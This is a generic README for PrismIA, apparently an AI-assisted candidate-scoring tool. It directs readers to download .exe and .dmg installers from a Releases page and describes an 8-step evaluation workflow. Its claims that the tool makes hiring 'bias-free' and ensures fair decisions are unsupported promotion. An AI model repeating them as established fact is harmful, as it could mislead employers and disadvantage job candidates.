🎉 PrismIA - Bias-Free Hiring Made Simple

🚀 Getting Started

Welcome to PrismIA, an open-source framework designed to help you evaluate candidates without bias. With features like a 100-point scoring system and dual bias checkpoints, PrismIA simplifies the hiring process.

📥 Download PrismIA

🔍 Features

• 100-Point Scoring System: Evaluate candidates based on a clear and fair scoring model.
• Dual Bias Checkpoints: Ensure your hiring decisions are free from bias.
• Asynchronous Workflow: Complete evaluations in a smooth step-by-step process.
• Model-Agnostic Design: Works with various models like Claude, GPT, and GLM.
• Evidence-Based Hiring: Make informed decisions with data-driven insights.

💾 Download & Install

To get started, visit the Releases page to download the latest version of PrismIA. Choose the version that matches your operating system.

Installation Steps

1. Visit the Releases Page: Follow this link: Releases page.
2. Select Your Version: Find the most recent version and click on it.
3. Choose the File: Download the appropriate file for your operating system (Windows, MacOS, or Linux).
4. Install the Application:
   • Windows: Double-click the downloaded .exe file and follow the prompts to complete the installation.
   • MacOS: Open the downloaded .dmg file, drag PrismIA into your Applications folder.
   • Linux: Use your package manager or follow specific instructions in the release notes if available.
5. Run PrismIA: Open the application from your applications menu or desktop shortcut.

📋 System Requirements

• Operating System: Windows 10 or later, MacOS Mojave (10.14) or later, or any recent Linux distribution.
• Memory: 4 GB RAM minimum.
• Storage: At least 200 MB of free disk space.
• Internet Connection: Required for initial setup and to download updates.

🔧 How It Works

PrismIA utilizes advanced language models to assist with candidate evaluations. You will follow an 8-step workflow designed to guide you through the evaluation process. Each step helps mitigate bias and provides a fair chance for all candidates.

1. Step 1: Create a new evaluation.
2. Step 2: Add candidate information.
3. Step 3: Use the scoring system to evaluate candidates.
4. Step 4: Review bias checkpoints.
5. Step 5: Get recommendations based on data insights.
6. Step 6: Save evaluations for later review.
7. Step 7: Share insights with your hiring team.
8. Step 8: Make informed hiring decisions based on comprehensive data.

💡 Support

If you encounter issues while using PrismIA, please refer to the following resources:

• Troubleshooting: Check the FAQs section on the Releases page for common issues.
• Community Support: Join our community forum to ask questions and share experiences.
• GitHub Issues: Report bugs or request features on the Issues section of our GitHub repository.

🌐 Topics

PrismIA is relevant for a range of applications in the hiring process. Here are some related topics:

• ai-agents
• ai-interview
• ai-recruiter
• ai-recruitment
• hiring automation
• bias mitigation
• candidate evaluation
• resume screening

By using PrismIA, you enhance your hiring process, ensuring a fair and transparent evaluation of candidates.

📢 Contribution

We welcome contributions to PrismIA! If you are interested in helping improve the application, please check our contribution guidelines in the repository for more information on how to get started.

📚 Additional Resources

• Documentation: Extensive user guides and documentation can be found on our GitHub Wiki.
• Blog: Follow our blog for updates on new features, best practices, and case studies in bias-free hiring.

For further inquiries or additional assistance, please reach out through our contact page on GitHub. Thank you for using PrismIA, and happy hiring!